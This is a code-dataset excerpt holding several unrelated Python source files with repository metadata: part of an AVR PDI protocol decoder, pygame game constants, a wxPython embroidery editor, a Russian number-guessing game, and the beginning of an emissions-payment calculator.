self.put_ann_row_val(self.cmd_ss, cmd_es, Ann.COMMAND, cmd_txts)\n if self.insn_opcode == PDI.OP_REPEAT and not is_break:\n # The last communicated data item is the repeat\n # count for the next instruction (i.e. it will\n # execute N+1 times when \"REPEAT N\" is specified).\n count = int(self.cmd_insn_parts_nice[-1], 0)\n self.insn_rep_count = count\n\n # Have the state for instruction decoding cleared, but make sure\n # to carry over REPEAT count specs between instructions. They\n # start out as zero, will be setup by REPEAT instructions, need\n # to get passed to the instruction which follows REPEAT. The\n # instruction which sees a non-zero repeat count which will\n # consume the counter and drop it to zero, then the counter\n # remains at zero until the next REPEAT instruction.\n save_rep_count = self.insn_rep_count\n self.clear_insn()\n self.insn_rep_count = save_rep_count\n\n def handle_bits(self, ss, es, bitval):\n '''Handle a bit at the UART layer.'''\n\n # Concentrate annotation literals here for easier maintenance.\n ann_class_text = {\n Ann.START: ['Start bit', 'Start', 'S'],\n Ann.PARITY_OK: ['Parity OK', 'Par OK', 'P'],\n Ann.PARITY_ERR: ['Parity error', 'Par ERR', 'PE'],\n Ann.STOP_OK: ['Stop bit', 'Stop', 'T'],\n Ann.STOP_ERR: ['Stop bit error', 'Stop ERR', 'TE'],\n Ann.BREAK: ['Break condition', 'BREAK', 'BRK'],\n }\n def put_uart_field(bitpos, annclass):\n self.put_ann_data(bitpos, [annclass, ann_class_text[annclass]])\n\n # The number of bits which form one UART frame. Note that\n # the decoder operates with only one stop bit.\n frame_bitcount = 1 + 8 + 1 + 1\n\n # Detect adjacent runs of all-zero bits. This is meant\n # to cope when BREAK conditions appear at any arbitrary\n # position, it need not be \"aligned\" to an UART frame.\n if bitval == 1:\n self.zero_count = 0\n elif bitval == 0:\n if not self.zero_count:\n self.zero_ss = ss\n self.zero_count += 1\n if self.zero_count == frame_bitcount:\n self.break_ss = self.zero_ss\n\n # BREAK conditions are _at_minimum_ the length of a UART frame, but\n # can span an arbitrary number of bit times. Track the \"end sample\"\n # value of the last low bit we have seen, and emit the annotation only\n # after the line went idle (high) again. Pass BREAK to the upper layer\n # as well. When the line is low, BREAK still is pending. When the line\n # is high, the current bit cannot be START, thus return from here.\n if self.break_ss is not None:\n if bitval == '0':\n self.break_es = es\n return\n self.put(self.break_ss, self.break_es, self.out_ann,\n [Ann.BREAK, ann_class_text[Ann.BREAK]])\n self.handle_byte(self.break_ss, self.break_es, None)\n self.break_ss = None\n self.break_es = None\n self.bits = []\n return\n\n # Ignore high bits when waiting for START.\n if not self.bits and bitval == 1:\n return\n\n # Store individual bits and their start/end sample numbers,\n # until a complete frame was received.\n self.bits.append(Bit(bitval, ss, es))\n if len(self.bits) < frame_bitcount:\n return\n\n # Get individual fields of the UART frame.\n bits_num = sum([b.val << pos for pos, b in enumerate(self.bits)])\n if False:\n # This logic could detect BREAK conditions which are aligned to\n # UART frames. Which was obsoleted by the above detection at\n # arbitrary positions. The code still can be useful to detect\n # \"other kinds of frame errors\" which carry valid symbols for\n # upper layers (the Atmel literature suggests \"break\", \"delay\",\n # and \"empty\" symbols when PDI is communicated over different\n # physical layers).\n if bits_num == 0: # BREAK\n self.break_ss = self.bits[0].ss\n self.break_es = es\n self.bits = []\n return\n start_bit = bits_num & 0x01; bits_num >>= 1\n data_val = bits_num & 0xff; bits_num >>= 8\n data_text = '{:02x}'.format(data_val)\n parity_bit = bits_num & 0x01; bits_num >>= 1\n stop_bit = bits_num & 0x01; bits_num >>= 1\n\n # Check for frame errors. START _must_ have been low\n # according to the above accumulation logic.\n parity_ok = (bin(data_val).count('1') + parity_bit) % 2 == 0\n stop_ok = stop_bit == 1\n valid_frame = parity_ok and stop_ok\n\n # Emit annotations.\n for idx in range(frame_bitcount):\n self.put_ann_bit(idx, Ann.BIT)\n put_uart_field(0, Ann.START)\n self.put(self.bits[1].ss, self.bits[8].es, self.out_ann,\n [Ann.DATA, ['Data: ' + data_text, 'D: ' + data_text, data_text]])\n put_uart_field(9, Ann.PARITY_OK if parity_ok else Ann.PARITY_ERR)\n put_uart_field(10, Ann.STOP_OK if stop_ok else Ann.STOP_ERR)\n\n # Emit binary data stream. Have bytes interpreted at higher layers.\n if valid_frame:\n byte_ss, byte_es = self.bits[0].ss, self.bits[-1].es\n self.put_bin_bytes(byte_ss, byte_es, Ann.BIN_BYTES, bytes([data_val]))\n self.handle_byte(byte_ss, byte_es, data_val)\n\n # Reset internal state for the next frame.\n self.bits = []\n\n def handle_clk_edge(self, clock_pin, data_pin):\n # Sample the data line on rising clock edges. Always, for TX and for\n # RX bytes alike.\n if clock_pin == 1:\n self.data_sample = data_pin\n return\n\n # Falling clock edges are boundaries for bit slots. Inspect previously\n # sampled bits on falling clock edges, when the start and end sample\n # numbers were determined. Only inspect bit slots of known clock\n # periods (avoid interpreting the DATA line when the \"enabled\" state\n # has not yet been determined).\n self.ss_last_fall = self.ss_curr_fall\n self.ss_curr_fall = self.samplenum\n if self.ss_last_fall is None:\n return\n\n # Have the past bit slot processed.\n bit_ss, bit_es = self.ss_last_fall, self.ss_curr_fall\n bit_val = self.data_sample\n self.handle_bits(bit_ss, bit_es, bit_val)\n\n def decode(self):\n while True:\n (clock_pin, data_pin) = self.wait({0: 'e'}) \n self.handle_clk_edge(clock_pin, data_pin)\n","repo_name":"DreamSourceLab/DSView","sub_path":"libsigrokdecode4DSL/decoders/avr_pdi/pd.py","file_name":"pd.py","file_ext":"py","file_size_in_byte":20787,"program_lang":"python","lang":"en","doc_type":"code","stars":1001,"dataset":"github-code","pt":"22"} +{"seq_id":"25979592692","text":"\"\"\"Global Constants\"\"\"\r\nimport sys, pygame\r\nfrom pygame.locals import *\r\n\r\n# Init Colours\r\n# R G B\r\nGRAY = (100, 100, 100)\r\nNAVYBLUE = ( 60, 60, 100)\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\nGREEN = (100, 157, 0)\r\nBLUE = ( 0, 0, 255)\r\nYELLOW = (255, 255, 0)\r\nORANGE = (255, 128, 0)\r\nPURPLE = (255, 0, 255)\r\nCYAN = ( 0, 255, 255)\r\nBLACK = ( 0, 0, 0) \r\n\r\nBG_COLOUR = BLUE\r\nTEXT_COLOUR = GREEN\r\n\r\nFPS = 60\r\n\r\n# Screen Variables\r\nSCREEN_WIDTH =1200\r\nSCREEN_HEIGHT = 675\r\nHALF_SCREEN_WIDTH = SCREEN_WIDTH/2\r\n\r\nboundary = 350\r\n\r\nright_boundary = SCREEN_WIDTH - boundary\r\nleft_boundary = boundary\r\n\r\nWIN_CAPTION = \"Really Cool Zombie Game\"\r\n\r\ndef terminate():\r\n \"\"\"Terminate pygame, quit nicely\"\"\"\r\n pygame.quit()\r\n sys.exit()\r\n\r\ndef translate(value, leftMin, leftMax, rightMin, rightMax):\r\n \"\"\"'map' a value in a range to another value\"\"\"\r\n # Figure out how 'wide' each range is\r\n leftSpan = leftMax - leftMin\r\n rightSpan = rightMax - rightMin\r\n\r\n # Convert the left range into a 0-1 range (float)\r\n valueScaled = float(value - leftMin) / float(leftSpan)\r\n\r\n # Convert the 0-1 range into a value in the right range.\r\n return rightMin + (valueScaled * rightSpan)","repo_name":"bsecker/Zombies_vs_Aliens","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"17665948718","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n#\n\n# Imports.--------------------------------------------------------------------\n# -Python Imports.\nimport os\nimport sys\n\nimport pyembroidery\nimport wx\nimport wx.grid\nimport wx.lib.agw.aui as aui\n\nfrom embroidepy.assets import EmbroidePyLogo\n\nfrom .embroideryview import EmbroideryView\nfrom .simulatorview import SimulatorView\nfrom .statisticsview import StatisticsView\nfrom .stitcheditor import StitchEditor\n\n\nclass BaseAuiNotebook(aui.AuiNotebook):\n \"\"\"\n Base AuiNotebook\n\n :seealso: http://wxpython.org/Phoenix/docs/html/lib.agw.aui.auibook.AuiNotebook.html\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0\n ,\n agwStyle= # aui.AUI_NB_DEFAULT_STYLE | #AUI_NB_DEFAULT_STYLE = AUI_NB_TOP | AUI_NB_TAB_SPLIT | AUI_NB_TAB_MOVE | AUI_NB_SCROLL_BUTTONS | AUI_NB_CLOSE_ON_ACTIVE_TAB | AUI_NB_MIDDLE_CLICK_CLOSE | AUI_NB_DRAW_DND_TAB\n aui.AUI_NB_TOP | # With this style, tabs are drawn along the top of the notebook\n # aui.AUI_NB_BOTTOM | #With this style, tabs are drawn along the bottom of the notebook\n ## aui.AUI_NB_LEFT | #With this style, tabs are drawn along the left of the notebook. Not implemented yet.\n ## aui.AUI_NB_RIGHT | #With this style, tabs are drawn along the right of the notebook. Not implemented yet.\n # aui.AUI_NB_CLOSE_BUTTON | #With this style, a close button is available on the tab bar\n aui.AUI_NB_CLOSE_ON_ACTIVE_TAB | # With this style, a close button is available on the active tab\n # aui.AUI_NB_CLOSE_ON_ALL_TABS | #With this style, a close button is available on all tabs\n aui.AUI_NB_SCROLL_BUTTONS | # With this style, left and right scroll buttons are displayed\n # aui.AUI_NB_TAB_EXTERNAL_MOVE | #Allows a tab to be moved to another tab control\n # aui.AUI_NB_TAB_FIXED_WIDTH | #With this style, all tabs have the same width\n aui.AUI_NB_TAB_MOVE | # Allows a tab to be moved horizontally by dragging\n aui.AUI_NB_TAB_SPLIT | # Allows the tab control to be split by dragging a tab\n # aui.AUI_NB_HIDE_ON_SINGLE_TAB | #Hides the tab window if only one tab is present\n aui.AUI_NB_SUB_NOTEBOOK | # This style is used by AuiManager to create automatic AuiNotebooks\n aui.AUI_NB_MIDDLE_CLICK_CLOSE | # Allows to close AuiNotebook tabs by mouse middle button click\n aui.AUI_NB_SMART_TABS | # Use Smart Tabbing, like Alt + Tab on Windows\n # aui.AUI_NB_USE_IMAGES_DROPDOWN | #Uses images on dropdown window list menu instead of check items\n # aui.AUI_NB_CLOSE_ON_TAB_LEFT | #Draws the tab close button on the left instead of on the right (a la Camino browser)\n aui.AUI_NB_TAB_FLOAT | # Allows the floating of single tabs. Known limitation: when the notebook is more or less full screen, tabs cannot be dragged far enough outside of the notebook to become floating pages\n aui.AUI_NB_DRAW_DND_TAB | # Draws an image representation of a tab while dragging (on by default)\n aui.AUI_NB_ORDER_BY_ACCESS | # Tab navigation order by last access time for the tabs\n # aui.AUI_NB_NO_TAB_FOCUS | #Don't draw tab focus rectangle\n aui.AUI_NB_WINDOWLIST_BUTTON # With this style, a drop-down list of windows is available\n , name='auinotebook'):\n \"\"\"\n Default class constructor.\n\n :param `parent`: Pointer to a parent window.\n :type `parent`: `wx.Window`\n :param `id`: Window identifier.\n :type `id`: int\n :param `pos`: Window position.\n :type `pos`: `wx.Point`\n :param `size`: Window size.\n :type `size`: `wx.Size`\n :param `style`: Window style.\n :type `style`: long\n :param `agwStyle`: The AGW-specific window style.\n :type `agwStyle`: int\n :param `name`: Window name.\n :type `name`: str\n \"\"\"\n aui.AuiNotebook.__init__(self, parent, id, pos, size, style, agwStyle, name)\n\n\nclass GuiMain(wx.Frame):\n def __init__(self, *args, **kwds):\n # begin wxGlade: GuiMain.__init__\n kwds[\"style\"] = kwds.get(\"style\", 0) | wx.DEFAULT_FRAME_STYLE\n wx.Frame.__init__(self, *args, **kwds)\n self.SetSize((697, 552))\n self.main_notebook = BaseAuiNotebook(self)\n\n # Menu Bar\n self.menubar = wx.MenuBar()\n wxglade_tmp_menu = wx.Menu()\n menu_new = wxglade_tmp_menu.Append(wx.ID_ANY, \"New\", \"\")\n menu_save = wxglade_tmp_menu.Append(wx.ID_ANY, \"Save\", \"\")\n menu_save_as = wxglade_tmp_menu.Append(wx.ID_ANY, \"Save As\", \"\")\n menu_export = wxglade_tmp_menu.Append(wx.ID_ANY, \"Export\", \"\")\n menu_import = wxglade_tmp_menu.Append(wx.ID_ANY, \"Import\", \"\")\n wxglade_tmp_menu.AppendSeparator()\n wxglade_tmp_menu_sub = wx.Menu()\n menu_print = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"Print\", \"\")\n menu_print_preview = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"Print Preview\", \"\")\n menu_print_setup = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"Print Setup\", \"\")\n wxglade_tmp_menu.Append(wx.ID_ANY, \"Print\", wxglade_tmp_menu_sub, \"\")\n wxglade_tmp_menu.AppendSeparator()\n wxglade_tmp_menu.Append(wx.ID_ANY, \"Exit\", \"\")\n self.menubar.Append(wxglade_tmp_menu, \"File\")\n wxglade_tmp_menu = wx.Menu()\n menu_stitch_edit = wxglade_tmp_menu.Append(wx.ID_ANY, \"Stitch Edit\", \"\")\n menu_undo = wxglade_tmp_menu.Append(wx.ID_ANY, \"Undo\", \"\")\n menu_redo = wxglade_tmp_menu.Append(wx.ID_ANY, \"Redo\", \"\")\n wxglade_tmp_menu.AppendSeparator()\n wxglade_tmp_menu_sub = wx.Menu()\n menu_reduce = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"Reduce\", \"\")\n menu_enlarge = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"Enlarge\", \"\")\n menu_rotate_cw = wxglade_tmp_menu_sub.Append(wx.ID_ANY, u\"Rotate \\u03c4/4\", \"\")\n menu_rotate_ccw = wxglade_tmp_menu_sub.Append(wx.ID_ANY, u\"Rotate -\\u03c4/4\", \"\")\n menu_horizontal_flip = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"H-Flip\", \"\")\n menu_vertical_flip = wxglade_tmp_menu_sub.Append(wx.ID_ANY, \"V-Flip\", \"\")\n wxglade_tmp_menu.Append(wx.ID_ANY, \"Transform\", wxglade_tmp_menu_sub, \"\")\n wxglade_tmp_menu.AppendSeparator()\n menu_points_mode = wxglade_tmp_menu.Append(wx.ID_ANY, \"Points Mode\", \"\", wx.ITEM_RADIO)\n menu_lines_mode = wxglade_tmp_menu.Append(wx.ID_ANY, \"Lines Mode\", \"\", wx.ITEM_RADIO)\n wxglade_tmp_menu.AppendSeparator()\n menu_select_mode = wxglade_tmp_menu.Append(wx.ID_ANY, \"Select Mode\", \"\", wx.ITEM_RADIO)\n menu_move_mode = wxglade_tmp_menu.Append(wx.ID_ANY, \"Move Mode\", \"\", wx.ITEM_RADIO)\n menu_insert_mode = wxglade_tmp_menu.Append(wx.ID_ANY, \"Insert Mode\", \"\", wx.ITEM_RADIO)\n wxglade_tmp_menu.AppendSeparator()\n self.menubar.Append(wxglade_tmp_menu, \"Edit\")\n wxglade_tmp_menu = wx.Menu()\n menu_simulate = wxglade_tmp_menu.Append(wx.ID_ANY, \"Simulate\", \"\")\n menu_show_grid = wxglade_tmp_menu.Append(wx.ID_ANY, \"Show Grid\", \"\", wx.ITEM_CHECK)\n menu_show_guides = wxglade_tmp_menu.Append(wx.ID_ANY, \"Show Guides\", \"\", wx.ITEM_CHECK)\n menu_show_jumps = wxglade_tmp_menu.Append(wx.ID_ANY, \"Show Jump Stitches\", \"\", wx.ITEM_CHECK)\n menu_show_functions = wxglade_tmp_menu.Append(wx.ID_ANY, \"Show Functions\", \"\", wx.ITEM_CHECK)\n self.menubar.Append(wxglade_tmp_menu, \"View\")\n wxglade_tmp_menu = wx.Menu()\n menu_statistics = wxglade_tmp_menu.Append(wx.ID_ANY, \"Statistics\", \"\")\n menu_small_stitches = wxglade_tmp_menu.Append(wx.ID_ANY, \"Remove Small Stitches\", \"\")\n self.menubar.Append(wxglade_tmp_menu, \"Design\")\n wxglade_tmp_menu = wx.Menu()\n menu_about = wxglade_tmp_menu.Append(wx.ID_ANY, \"About\", \"\")\n self.menubar.Append(wxglade_tmp_menu, \"Help\")\n self.SetMenuBar(self.menubar)\n # Menu Bar end\n self.Bind(wx.EVT_MENU, self.on_menu_new, menu_new)\n self.Bind(wx.EVT_MENU, self.on_menu_save, menu_save)\n self.Bind(wx.EVT_MENU, self.on_menu_save_as, menu_save_as)\n self.Bind(wx.EVT_MENU, self.on_menu_print, menu_print)\n self.Bind(wx.EVT_MENU, self.on_menu_print_preview, menu_print_preview)\n self.Bind(wx.EVT_MENU, self.on_menu_print_setup, menu_print_setup)\n self.Bind(wx.EVT_MENU, self.on_menu_undo, menu_undo)\n self.Bind(wx.EVT_MENU, self.on_menu_redo, menu_redo)\n self.Bind(wx.EVT_MENU, self.on_menu_reduce, menu_reduce)\n self.Bind(wx.EVT_MENU, self.on_menu_enlarge, menu_enlarge)\n self.Bind(wx.EVT_MENU, self.on_menu_rotate_cw, menu_rotate_cw)\n self.Bind(wx.EVT_MENU, self.on_menu_rotate_ccw, menu_rotate_ccw)\n self.Bind(wx.EVT_MENU, self.on_menu_horizontal_flip, menu_horizontal_flip)\n self.Bind(wx.EVT_MENU, self.on_menu_vertical_flip, menu_vertical_flip)\n\n self.Bind(wx.EVT_MENU, self.on_menu_points_mode, menu_points_mode)\n self.Bind(wx.EVT_MENU, self.on_menu_lines_mode, menu_lines_mode)\n\n self.Bind(wx.EVT_MENU, self.on_menu_select_mode, menu_select_mode)\n self.Bind(wx.EVT_MENU, self.on_menu_insert_mode, menu_insert_mode)\n self.Bind(wx.EVT_MENU, self.on_menu_move_mode, menu_move_mode)\n\n self.Bind(wx.EVT_MENU, self.on_menu_import, menu_import)\n self.Bind(wx.EVT_MENU, self.on_menu_export, menu_export)\n self.Bind(wx.EVT_MENU, self.on_menu_stitch_edit, menu_stitch_edit)\n self.Bind(wx.EVT_MENU, self.on_menu_simulate, menu_simulate)\n\n self.Bind(wx.EVT_MENU, self.on_menu_show_grid, menu_show_grid)\n self.Bind(wx.EVT_MENU, self.on_menu_show_guides, menu_show_guides)\n self.Bind(wx.EVT_MENU, self.on_menu_show_jumps, menu_show_jumps)\n self.Bind(wx.EVT_MENU, self.on_menu_show_functions, menu_show_functions)\n\n self.Bind(wx.EVT_MENU, self.on_menu_statistics, menu_statistics)\n\n self.Bind(wx.EVT_MENU, self.on_menu_small_stitches, menu_small_stitches)\n\n self.Bind(wx.EVT_MENU, self.on_menu_about, menu_about)\n # Menu Bar Bind end\n\n self.__set_properties()\n # self.__do_layout()\n # end wxGlade\n\n self.Bind(wx.EVT_DROP_FILES, self.on_drop_file)\n\n def on_menu_print(self, event):\n pass\n\n def on_menu_print_preview(self, event):\n pass\n\n def on_menu_print_setup(self, event):\n pass\n\n def on_menu_undo(self, event):\n pass\n\n def on_menu_redo(self, event):\n pass\n\n def on_menu_reduce(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_scale(0.9, 0.9)\n pattern.transform(m)\n page.on_size(None)\n page.update_drawing()\n\n def on_menu_enlarge(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_scale(1.1, 1.1)\n pattern.transform(m)\n page.on_size(None)\n\n def on_menu_rotate_cw(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_rotate(90)\n pattern.transform(m)\n page.on_size(None)\n\n def on_menu_rotate_ccw(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_rotate(-90)\n pattern.transform(m)\n page.on_size(None)\n\n def on_menu_horizontal_flip(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_scale(-1, 1)\n pattern.transform(m)\n page.on_size(None)\n\n def on_menu_vertical_flip(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n pattern = page.emb_pattern\n m = pyembroidery.EmbMatrix()\n m.post_scale(1, -1)\n pattern.transform(m)\n page.on_size(None)\n\n def on_menu_points_mode(self, event):\n pass\n\n def on_menu_lines_mode(self, event):\n pass\n\n def on_menu_select_mode(self, event):\n pass\n\n def on_menu_insert_mode(self, event):\n pass\n\n def on_menu_move_mode(self, event):\n pass\n\n def on_menu_show_grid(self, event):\n pass\n\n def on_menu_show_guides(self, event):\n pass\n\n def on_menu_show_jumps(self, event):\n pass\n\n def on_menu_show_functions(self, event):\n pass\n\n def on_menu_statistics(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n statistics = StatisticsView(None, wx.ID_ANY, \"\")\n statistics.set_design(page.emb_pattern)\n statistics.Show()\n\n def on_menu_small_stitches(self, event):\n pass\n\n def on_menu_about(self, event):\n from .about import MyDialog\n about = MyDialog()\n about.Show()\n\n def on_menu_stitch_edit(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n stitch_list = StitchEditor(None, wx.ID_ANY, \"\")\n stitch_list.set_design(page.emb_pattern)\n stitch_list.Show()\n\n def on_menu_import(self, event):\n files = \"\"\n for format in pyembroidery.supported_formats():\n try:\n if format[\"reader\"] is not None:\n files += \"*.\" + format[\"extension\"] + \";\"\n except KeyError:\n pass\n\n with wx.FileDialog(self, \"Open Embroidery\", wildcard=\"Embroidery Files (\" + files + \")\",\n style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog:\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n pathname = fileDialog.GetPath()\n self.read_file(pathname)\n\n def on_menu_new(self, event):\n pattern = pyembroidery.EmbPattern()\n pattern.extras[\"filename\"] = \"unnamed\"\n self.add_embroidery(pattern)\n\n def on_menu_save_as(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n files = \"Comma-separated values, csv (*.csv)|*.csv\"\n with wx.FileDialog(self, \"Save Embroidery\", wildcard=files,\n style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as fileDialog:\n\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n # save the current contents in the file\n pathname = fileDialog.GetPath()\n pyembroidery.write(page.emb_pattern, str(pathname))\n page.emb_pattern.extras[\"filename\"] = pathname\n\n def on_menu_save(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n path = page.emb_pattern.extras[\"filename\"]\n if path is None:\n return\n pyembroidery.write(page.emb_pattern, str(path))\n\n def on_menu_export(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n files = \"\"\n for format in pyembroidery.supported_formats():\n try:\n if format[\"writer\"] is not None:\n files += format[\"description\"] + \"(*.\" + format[\"extension\"] + \")|*.\" + format[\n \"extension\"] + \"|\"\n except KeyError:\n pass\n\n with wx.FileDialog(self, \"Save Embroidery\", wildcard=files[:-1],\n style=wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) as fileDialog:\n\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n\n # save the current contents in the file\n pathname = fileDialog.GetPath()\n pyembroidery.write(page.emb_pattern, str(pathname))\n\n def on_menu_simulate(self, event):\n page = self.main_notebook.GetCurrentPage()\n if not isinstance(page, EmbroideryView) or page.emb_pattern is None:\n return\n simulator = SimulatorView(None, wx.ID_ANY, \"\")\n simulator.set_design(page.emb_pattern)\n simulator.Show()\n\n def read_file(self, filepath):\n if filepath is None:\n return\n pattern = pyembroidery.read(str(filepath))\n if pattern is None:\n return\n pattern.extras[\"filename\"] = filepath\n self.add_embroidery(pattern)\n\n def on_drop_file(self, event):\n for pathname in event.GetFiles():\n self.read_file(pathname)\n\n def add_embroidery(self, embroidery):\n page_sizer = wx.BoxSizer(wx.HORIZONTAL)\n embroidery_panel = EmbroideryView(self.main_notebook, wx.ID_ANY)\n embroidery_panel.set_design(embroidery)\n head, tail = os.path.split(embroidery.extras['filename'])\n self.main_notebook.AddPage(embroidery_panel, tail)\n page_sizer.Add(self.main_notebook, 1, wx.EXPAND, 0)\n self.Layout()\n\n def __set_properties(self):\n # begin wxGlade: GuiMain.__set_properties\n _icon = wx.NullIcon\n _icon.CopyFromBitmap(EmbroidePyLogo.GetBitmap())\n self.SetIcon(_icon)\n self.SetTitle(\"EmbroidepyEditor\")\n self.DragAcceptFiles(True)\n # end wxGlade\n\n\n# end of class GuiMain\n\nclass Embroidepy(wx.App):\n def OnInit(self):\n self.main_editor = GuiMain(None, wx.ID_ANY, \"\")\n self.SetTopWindow(self.main_editor)\n self.main_editor.Show()\n return True\n\n def read_file(self, filename):\n self.main_editor.read_file(filename)\n\n # end of class Embroidepy\n\n\ndef run():\n EMBROIDEPY_VERSION = \"0.0.3\"\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"input\", nargs=\"?\", type=str, help=\"input file\")\n parser.add_argument(\"-o\", \"--output\", type=str, help=\"output file name\")\n parser.add_argument(\"-V\", \"--version\", action=\"store_true\", help=\"version\")\n parser.add_argument(\"-g\", \"--graphics\", action=\"store_true\", help=\"view graphics\")\n\n argv = sys.argv[1:]\n args = parser.parse_args(argv)\n if args.version:\n print(\"Embroidepy v%s\" % EMBROIDEPY_VERSION)\n return\n if args.graphics:\n pattern = pyembroidery.EmbPattern(args.input)\n for data in pattern.extras:\n if str(data).startswith('pec_graphic_'):\n print(pyembroidery.get_graphic_as_string(pattern.extras[data]))\n return\n if args.output:\n pattern = pyembroidery.EmbPattern(args.input)\n pattern.write(args.output)\n return\n embroiderpy = Embroidepy(0)\n embroiderpy.read_file(args.input)\n embroiderpy.MainLoop()\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"EmbroidePy/EmbroidePy","sub_path":"embroidepy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19921,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"} +{"seq_id":"32390435577","text":"import random\ndef is_valid(s):\n if s.isdigit() and 1 <= int(s) <= 100:\n return True\n else:\n return False\n\ndef game():\n count = 0\n print('Добро пожаловать в числовую угадайку')\n right_border = int(input('компьютер загадает число от единицы до того, какое вы введете.\\n Введите число: '))\n num = random.randint(1, right_border)\n print('Угадайте какое число загадал компьютер от 1 до' ,right_border)\n while True:\n n = input('Введите число: ')\n if is_valid(n) == True:\n n = int(n)\n count += 1\n else:\n print('Нужно ввести число в диапозоне от единицы до ста!')\n continue\n if count > 8:\n print('У вас кончились попытки, вы проиграли.')\n break\n elif n > num:\n print('Ваше число больше загаданного, попробуйте еще разок')\n elif n < num:\n print('Ваше число меньше загаданного, попробуйте еще разок')\n elif n == num:\n print('Вы угадали, поздравляем!')\n break\n \n print('''Спасибо, что играли в числовую угадайку,\n если хотите повторить попытку введите \"Y\"''')\n answer = input()\n if answer.lower == 'Y' or answer == 'н':\n game()\n else:\n print('Досвидания!')\n \n \ngame()\n\n\n\n\n\n\n\n\n\n\n \n","repo_name":"Den4ik-Bro/projects","sub_path":"guess the number_v2.py","file_name":"guess the number_v2.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"17333908480","text":"from math import sqrt,pow\nfrom plotly.graph_objs import Bar,Layout\nfrom plotly import offline\n\nalpha_of_city=[[ 1.19,1.34,1.72],\n [1.09,1.11,1.52],\n [1.25,1.00,1.63],\n [1.29,1.55,1.18],\n [1.07,1.14,1.96],\n [1.39,1.84,1.22],\n [1.03,1.04,1.19],\n [1.13,2.00,1.42]]\nfactory_inpackt=[[97.20,186.10,313.10,4.90,636.30,0],\n [176.30,135.90,116,70,1162.70,18.20,58.30],\n [0,72.40,0,80.40,0,3.10],\n [13.60,331.30,87.10,151.90,15.80,50.90],\n [35.00,1599.60,138.20,35.90,795.90,0],\n [0,233.80,0.10,0,192.70,0],\n [0.40,288.80,287.60,5.20,8.20,222.70],\n [36.50,269.60,95.30,64.10,317.30,55.80]]\ndef alpha_water(apha_city,factury_inpackts):\n \"\"\"\n Этот метод принимает коэффициент alpha массивом,где элемент[0]-коэффициент для воды,\n элемент[1]-коэффициет для воздуха,элемент[2]-коэффициет для отходов.\n Показатели производства должны быть массивом со следующими элементами:\n элемент[0]-расходы на водные выбросы\n элемент[1]-расходы на воздушные выбросы\n элемент[2]-расходы на отходы\n элемент[3]-сверхрасходы на водные выбросы\n элемент[4]-сверхрасходы на воздушные выбросы\n элемент[5]-сверхрасходы на отходы\n \n \"\"\"\n answer_array=[]\n for number_array in range(len(apha_city)):\n answer_array.append(compute_sqrt_pays(\n form_for_one_spending(\n apha_city[number_array][0],factury_inpackts[number_array][0],factury_inpackts[number_array][3]),\n form_for_one_spending\n (apha_city[number_array][1],factury_inpackts[number_array][1],factury_inpackts[number_array][4]),\n form_for_one_spending\n (apha_city[number_array][2],factury_inpackts[number_array][2],factury_inpackts[number_array][5])))\n return answer_array\ndef compute_sqrt_pays(water,air,waste):\n \"\"\"\n Метод принимает суммы квадратов водных,воздушных и отходов.\n Возвращает квадратный корень из суммы\n \"\"\"\n result=sqrt(water+air+waste)\n return result\ndef form_for_one_spending(coef,pay_norm_obj,pay_over_obj):\n \"\"\"\n Метод для расчёта воды,воздуха и отходов\n по формуле\n \"\"\"\n try:\n 